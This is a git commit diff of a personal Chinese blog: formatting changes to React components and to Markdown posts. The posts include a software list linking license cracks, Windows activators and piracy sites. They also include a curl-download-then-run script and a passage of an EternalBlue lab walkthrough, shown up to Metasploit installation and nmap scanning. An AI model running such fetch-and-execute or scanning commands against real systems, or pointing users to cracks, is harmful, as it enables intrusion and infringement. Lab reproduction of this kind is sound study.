document.getElementById('scroll-detector')?.remove();
};
}, [type, doubanId]); // 只在关键属性变化时执行
// 错误提示组件
const ErrorMessage = () => {
if (!error) return null;
return (
<div className="col-span-full text-center bg-red-50 p-4 rounded-md">
<div className="flex flex-col items-center justify-center">
<svg xmlns="http://www.w3.org/2000/svg" className="h-12 w-12 text-red-500 mb-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
</svg>
<h3 className="text-lg font-medium text-red-800">访</h3>
<p className="mt-1 text-sm text-red-700">{error}</p>
<button
onClick={() => {
// 重置错误和加载状态
setError(null);
stateRef.current.error = null;
// 允许再次加载
setHasMoreContent(true);
stateRef.current.hasMoreContent = true;
// 重新获取当前页
fetchMedia(currentPage, false);
}}
className="mt-4 px-4 py-2 bg-red-600 text-white rounded-md hover:bg-red-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-red-500"
>
</button>
</div>
</div>
);
};
// 没有更多内容提示
const EndMessage = () => {
if (isLoading || !items.length || error) return null;
return (
<div className="text-center py-8">
<p className="text-gray-600"></p>
</div>
);
};
return (
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<h1 className="text-3xl font-bold mb-6">{title}</h1>
<div ref={mediaListRef} className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
{error && items.length === 0 ? (
<ErrorMessage />
) : items.length > 0 ? (
items.map((item, index) => (
<div key={`${item.title}-${index}`} className="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl">
<div className="relative pb-[150%] overflow-hidden">
<img
src={item.imageUrl}
alt={item.title}
className="absolute top-0 left-0 w-full h-full object-cover hover:scale-105"
/>
<div className="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
<h3 className="font-bold text-white text-sm line-clamp-2">
<a href={item.link} target="_blank" rel="noopener noreferrer" className="hover:text-blue-300">
{item.title}
</a>
</h3>
</div>
</div>
</div>
))
) : !isLoading ? (
<div className="col-span-full text-center">{type === 'movie' ? '电影' : '图书'}</div>
) : null}
</div>
{error && items.length > 0 && (
<div className="mt-4">
<ErrorMessage />
</div>
)}
{isLoading && (
<div className="text-center py-8">
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p className="mt-2 text-gray-600">...{currentPage}</p>
</div>
)}
{!hasMoreContent && items.length > 0 && !isLoading && (
<EndMessage />
)}
</div>
);
};
export default MediaGrid;

View File

@ -2,10 +2,10 @@ import { useEffect, useState, useCallback, useRef } from 'react';
export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", className = "" }) {
// 使用null作为初始状态表示尚未确定主题
const [theme, setTheme] = useState(null);
const [theme, setTheme] = useState<string | null>(null);
const [mounted, setMounted] = useState(false);
const [transitioning, setTransitioning] = useState(false);
const transitionTimeoutRef = useRef(null);
const transitionTimeoutRef = useRef<NodeJS.Timeout | null>(null);
// 获取系统主题
const getSystemTheme = useCallback(() => {
@ -30,7 +30,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
// 监听系统主题变化
const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');
const handleMediaChange = (e) => {
const handleMediaChange = (e: MediaQueryListEvent) => {
// 只有当主题设置为跟随系统时才更新主题
if (!localStorage.getItem('theme')) {
const newTheme = e.matches ? 'dark' : 'light';
@ -84,7 +84,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
if (!mounted || theme === null) {
return (
<div
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
>
<span className="sr-only">...</span>
</div>
@ -93,7 +93,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
return (
<div
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
onClick={toggleTheme}
role="button"
tabIndex={0}
@ -110,7 +110,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
style={{ height: `${height}px`, width: `${width}px` }}
fill={fill}
viewBox="0 0 16 16"
className="transition-transform duration-200 hover:scale-110"
className="hover:scale-110"
aria-hidden="true"
>
<path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
@ -120,7 +120,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
style={{ height: `${height}px`, width: `${width}px` }}
fill={fill}
viewBox="0 0 16 16"
className="transition-transform duration-200 hover:scale-110"
className="hover:scale-110"
aria-hidden="true"
>
<path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>

View File

@ -844,7 +844,7 @@ const WorldHeatmap: React.FC<WorldHeatmapProps> = ({ visitedPlaces }) => {
/>
{hoveredCountry && (
<div className="absolute bottom-5 left-0 right-0 text-center z-10">
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 transition-all duration-300 hover:scale-105">
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 hover:scale-105">
<p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2">
{hoveredCountry}
{hoveredCountry && visitedPlaces.includes(hoveredCountry) ? (

View File

@ -3,170 +3,185 @@ title: "常用软件"
date: 2023-04-28T20:56:00Z
tags: []
---
### Windows 应用
---
* **开发软件:**
- **开发软件:**
* [JetBrains全家桶](https://www.jetbrains.com/zh-cn/products/)
* [JetBrains破解软件](https://linux.do/t/topic/115562)
* **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
* **办公软件:**
- [JetBrains 全家桶](https://www.jetbrains.com/zh-cn/products/)
- [JetBrains 破解软件](https://linux.do/t/topic/115562)
* [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office下载)
* [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
* [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
* **下载器:** [IDM](https://www.internetdownloadmanager.com/)
* **卸载工具:** [Geek](https://geekuninstaller.com/)
* **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
* **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
* **浏览器:**
- **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
- **办公软件:**
* [chrome](https://www.google.com/chrome/)
* [Arc](https://arc.net/)
* [百分浏览器](https://www.centbrowser.cn/)
* **ssh工具**
- [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office 下载)
- [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
- [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
* [tabby](https://github.com/Eugeny/tabby/tree/master)
* [FinalShell](http://www.hostbuf.com/)
* **adb工具** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
* **科学上网工具:**
- **下载器:** [IDM](https://www.internetdownloadmanager.com/)
- **卸载工具:** [Geek](https://geekuninstaller.com/)
- **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
- **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
- **浏览器:**
* [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
* [v2rayN](https://github.com/2dust/v2rayN/releases/)
* [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)V2Ray 路由规则文件加强版
* **驱动管理:** [360驱动大师](http://dm.weishi.360.cn/home.html)
* **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
* **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
* **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
* **防火墙应用:**
- [chrome](https://www.google.com/chrome/)
- [Arc](https://arc.net/)
- [百分浏览器](https://www.centbrowser.cn/)
* [360安全卫士极速版](https://weishi.360.cn/jisu/)
* [火绒](https://www.huorong.cn/)
- **ssh 工具:**
- [tabby](https://github.com/Eugeny/tabby/tree/master)
- [FinalShell](http://www.hostbuf.com/)
- **adb 工具:** [Platform Tools](https://developer.android.com/tools/releases/platform-tools?hl=zh-cn)
- **科学上网工具:**
- [Clash for Windows](https://github.com/Z-Siqi/Clash-for-Windows_Chinese/releases)
- [v2rayN](https://github.com/2dust/v2rayN/releases/)
- [v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat)V2Ray 路由规则文件加强版
- **驱动管理:** [360 驱动大师](http://dm.weishi.360.cn/home.html)
- **运行库安装:** [NET Framework](https://dotnet.microsoft.com/zh-cn/download/dotnet-framework)
- **任务栏透明工具:** [TranslucentTB](https://github.com/TranslucentTB/TranslucentTB#start-of-content) (应用商店可下载)
- **壁纸软件:** [Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)
- **防火墙应用:**
- [360 安全卫士极速版](https://weishi.360.cn/jisu/)
- [火绒](https://www.huorong.cn/)
### Android 应用
---
* **下载器:** 1DM+
* **安装器:** R-安装组件
* **浏览器:**
- **下载器:** 1DM+
- **安装器:** R-安装组件
- **浏览器:**
* [雨见浏览器国际版](https://yjllq.com/)
* [Alook](https://www.alookweb.com/)
* **文件管理器:** [MT管理器](https://mt2.cn/)
* **网络工具:**
- [雨见浏览器国际版](https://yjllq.com/)
- [Alook](https://www.alookweb.com/)
* Cellular Pro
* VPN热点
* **科学上网:**
- **文件管理器:** [MT 管理器](https://mt2.cn/)
- **网络工具:**
* Surfboard
* [v2rayNG](https://github.com/2dust/v2rayNG/releases)
* **终端模拟器**:
- Cellular Pro
- VPN 热点
* [Termux](https://termux.dev/)
* [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
* **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
* **视频播放器:**
- **科学上网:**
* MX播放器专业版
* XPlayer - 万能视频播放器
* **服务器连接:**
- Surfboard
- [v2rayNG](https://github.com/2dust/v2rayNG/releases)
* [JuiceSSH](https://juicessh.com/)
* RD客户端 (连接Windows)
* [Termius](https://termius.com/)
* **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
* **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
* **将操作系统映像写入USB驱动器** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
* **adb工具**
- **终端模拟器**:
* [搞机助手](https://gjzsr.com/)
* 甲壳虫ADB助手
* Bugjaeger Premium
* [scene](https://github.com/kdrag0n/safetynet-fix/releases)
* **Xposed软件**
- [Termux](https://termux.dev/)
- [ZeroTermux](https://github.com/hanxinhao000/ZeroTermux)
* **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
* **bilibili增强** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
* **微信增强:** [微x模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
* **QQ增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
* **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
* **Magisk模块管理**
- **Git 存储库管理工具:** [GitNex](https://gitnex.com/)
- **视频播放器:**
* [LSPosed](https://github.com/LSPosed/LSPosed):已归档
* 关闭SELinux
* 停用HW叠加层模块
* [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
* [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
- MX 播放器专业版
- XPlayer - 万能视频播放器
- **服务器连接:**
- [JuiceSSH](https://juicessh.com/)
- RD 客户端 (连接 Windows)
- [Termius](https://termius.com/)
- **根目录整理:** [存储空间隔离](https://sr.rikka.app/)
- **定位修改:** [Fake Location](https://github.com/Lerist/FakeLocation)
- **将操作系统映像写入 USB 驱动器:** [EtchDroid](https://github.com/EtchDroid/EtchDroid)
- **adb 工具:**
- [搞机助手](https://gjzsr.com/)
- 甲壳虫 ADB 助手
- Bugjaeger Premium
- [scene](https://github.com/kdrag0n/safetynet-fix/releases)
- **Xposed 软件**
- **抖音增强:** [FreedomPlus](https://github.com/Xposed-Modules-Repo/io.github.fplus)
- **bilibili 增强:** [哔哩漫游](https://github.com/yujincheng08/BiliRoaming)
- **微信增强:** [微 x 模块](https://github.com/Xposed-Modules-Repo/com.fkzhang.wechatxposed)
- **QQ 增强:** [QAuxiliary](https://github.com/Xposed-Modules-Repo/io.github.qauxv)
- **识别短信验证码:** [XposedSmsCode](https://github.com/Xposed-Modules-Repo/com.github.tianma8023.xposed.smscode)
- **Magisk 模块管理:**
- [LSPosed](https://github.com/LSPosed/LSPosed):已归档
- 关闭 SELinux
- 停用 HW 叠加层模块
- [Universal SafetyNet Fix](https://github.com/kdrag0n/safetynet-fix):绕过 Google 的 SafetyNet 认证
- [Shamiko](https://github.com/LSPosed/LSPosed.github.io/releases):隐藏更多 Magisk 痕迹
### 浏览器插件
---
* [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
* [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
* [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
* [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
* [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
* [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
* [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
* [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
* [Floccus](https://floccus.org/download):同步书签和标签
* [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
- [AdGuard](https://adguard.com/zh_cn/adguard-browser-extension/overview.html):广告拦截程序
- [篡改猴](https://www.tampermonkey.net/index.php?browser=chrome&locale=zh):脚本管理器
- [猫抓](https://o2bmm.gitbook.io/cat-catch):资源嗅探
- [图片助手(ImageAssistant)](https://www.pullywood.com/ImageAssistant/):嗅探、分析网页图片、图片筛选
- [Circle 阅读助手](http://www.circlereader.com/):提取并排版网页内容
- [Global Speed](https://chrome.google.com/webstore/detail/global-speed/jpbjcnkcffbooppibceonlgknpkniiff?hl=zh-CN):速度控制
- [ColorZilla](https://www.colorzilla.com/zh-cn/):拾色器
- [Selenium IDE](https://www.selenium.dev/zh-cn/documentation/ide/):记录和回放用户操作
- [Floccus](https://floccus.org/download):同步书签和标签
- [沉浸式翻译:](https://immersivetranslate.com/) 网页翻译
### Docker 应用
---
* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
* [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
* [思源笔记](https://b3log.org/siyuan/)支持web端
* [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
* [Nginx Proxy Manager](https://nginxproxymanager.com/)Nginx 代理管理器
* [雷池](https://waf-ce.chaitin.cn/)基于Nginx开发的Web 应用防火墙
- [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。
- [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV
- [思源笔记](https://b3log.org/siyuan/):支持 web
- [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库
- [Nginx Proxy Manager](https://nginxproxymanager.com/)Nginx 代理管理器
- [雷池](https://waf-ce.chaitin.cn/):基于 Nginx 开发的 Web 应用防火墙
### Linux 应用
---
* [OpenSSH](https://www.openssh.com/)SSH连接工具
* `Wget` `curl`:从网络上获取或发送数据
* [vim](https://www.vim.org/):文本编辑器
* [Git](https://git-scm.com/):分布式版本控制系统
* [Zsh](https://www.zsh.org/)是一款功能强大、灵活可定制的shell
* [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
* [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
* [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
* 镜像仓库:
- [OpenSSH](https://www.openssh.com/)SSH 连接工具
- `Wget` `curl`:从网络上获取或发送数据
- [vim](https://www.vim.org/):文本编辑器
- [Git](https://git-scm.com/):分布式版本控制系统
- [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的 shell
- [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
- [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
- [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
- 镜像仓库:
* [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
* [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
* [网易开源镜像站](https://mirrors.163.com/)
* [腾讯软件源](https://mirrors.cloud.tencent.com/)
* [华为开源镜像站](https://mirrors.huaweicloud.com/home)
* [移动云开源镜像站](https://mirrors.cmecloud.cn/)
* [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
- [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
- [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
- [网易开源镜像站](https://mirrors.163.com/)
- [腾讯软件源](https://mirrors.cloud.tencent.com/)
- [华为开源镜像站](https://mirrors.huaweicloud.com/home)
- [移动云开源镜像站](https://mirrors.cmecloud.cn/)
- [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
### 可被托管的应用
---
* [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io)使用CF-workersDocker仓库镜像代理工具
* [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex)使用CF-workers搭建代理
* [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
- [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用 CF-workersDocker 仓库镜像代理工具
- [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用 CF-workers 搭建代理
- [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
### 网站
---
* 盗版软件:
- 盗版软件:
* [CyberMania](https://www.cybermania.ws/)
* [果核剥壳](https://www.ghxi.com/)
* 单价游戏:
- [CyberMania](https://www.cybermania.ws/)
- [果核剥壳](https://www.ghxi.com/)
* [土豆资源库](http://tdtd.chat/index)
* [3DMGAME](https://bbs.3dmgame.com/forum.php)
- 单价游戏:
- [土豆资源库](http://tdtd.chat/index)
- [3DMGAME](https://bbs.3dmgame.com/forum.php)

View File

@ -13,17 +13,17 @@ tags: []
1. 下载容器脚本并使用
```bash
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
awk -f 2.awk
```
```bash
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
awk -f 2.awk
```
2. 安装容器
- 选择 `1. proot 容器`
- 选择 `1. arm64 发行版列表`
- 选择需要的镜像
- 选择需要的版本
- 如果显示没有权限读写文件,给软件 root 权限,重新开始
- 请问是否新建 sudo 用户: 否
- 遇到选择默认回车
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出
- 选择 `1. proot 容器`
- 选择 `1. arm64 发行版列表`
- 选择需要的镜像
- 选择需要的版本
- 如果显示没有权限读写文件,给软件 root 权限,重新开始
- 请问是否新建 sudo 用户: 否
- 遇到选择默认回车
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出

View File

@ -13,14 +13,14 @@ tags: []
1. 打开 MacroDroid-Pro给予 root 权限
2. 点击下面的 **宏** 再点击 **加号**
3. 配置:
- **输入宏名称**:随便输入一个名字
- **触发器**:点击触发器右上角的加号——设备事件——设备启动
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
- **输入宏名称**:随便输入一个名字
- **触发器**:点击触发器右上角的加号——设备事件——设备启动
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了
## 二、VPN 热点
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
1. 打开 *VPN 热点* 给予 root 权限
2. 将 *WLAN 热点* 打开,打开后会多一个 *wlan1*,将 *wlan1* 打开就可以实现 VPN 热点了
1. 打开 _VPN 热点_ 给予 root 权限
2. 将 _WLAN 热点_ 打开,打开后会多一个 _wlan1_,将 _wlan1_ 打开就可以实现 VPN 热点了

View File

@ -16,7 +16,7 @@ tags: []
### 切换安卓
1. 进入 fastboot 模式
2. 用一个 root 的手机连接一加6T
2. 用一个 root 的手机连接一加 6T
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
5. 重启到 a 分区

View File

@ -4,35 +4,35 @@ date: 2023-07-12T23:39:00+08:00
tags: []
---
## Google服务框架
## Google 服务框架
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。**
## Google Play Service
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择noDPI的版本
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
那么就选择 noDPI 的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。**
## Google Play Store
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。**

View File

@ -8,7 +8,7 @@ tags: []
#### 1. 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器无需用户任何操作只要开机上网不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
Eternalblue 通过 TCP 端口 445 139 来利用 SMBv1 NBT 中的远程代码执行漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
#### 2.漏洞影响
@ -16,152 +16,157 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
### 二. 复现环境
* 虚拟环境搭建:`VMware Workstation 17 pro`
- 虚拟环境搭建:`VMware Workstation 17 pro`
* 网络模式:`NAT`
- 网络模式:`NAT`
* 攻击机:`kali Linux WSL`
* 攻击机IP`192.168.97.173`
* 攻击工具:`nmap` `metasploit(MSF)`
- 攻击机:`kali Linux WSL`
- 攻击机 IP`192.168.97.173`
- 攻击工具:`nmap` `metasploit(MSF)`
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提win7关闭防火墙**
* 靶机IP`192.168.97.128`
- 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提 win7 关闭防火墙**
- 靶机 IP`192.168.97.128`
### 三. 启动 MSF
1. 安装MSF
1. 安装 MSF
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
2. 进入框架
```bash
msfconsole
```
```bash
msfconsole
```
3. 初始化
```bash
init
```
```bash
init
```
### 四. 寻找主机
* **ipconfig**
- **ipconfig**
使用`ipconfig`分别查看win7和kali中的ip地址
* **nmap**
使用`ipconfig`分别查看 win7 和 kali 中的 ip 地址
- **nmap**
```bash
nmap -T5 -sP 192.168.97.0/24
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
- **`-sP`**:执行 Ping 连接扫描。
- **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| IP地址 | 私有ip范围 | 子网掩码 | CIDR |
| --------- | :----------------------------- | :-------------- | :--------------- |
| A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
| IP 地址 | 私有 ip 范围 | 子网掩码 | CIDR |
| -------- | :----------------------------- | :------------ | :------------- |
| A 类地址 | 10.0.0.0 10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B 类地址 | 172.16.0.0 173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C 类地址 | 192.168.0.0 192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
### 五. 端口扫描
* **nmap**
- **nmap**
```bash
nmap -T5 -sT 192.168.97.128
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
* **MSF** 端口扫描
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
- **`-sT`**:执行 TCP 连接扫描。
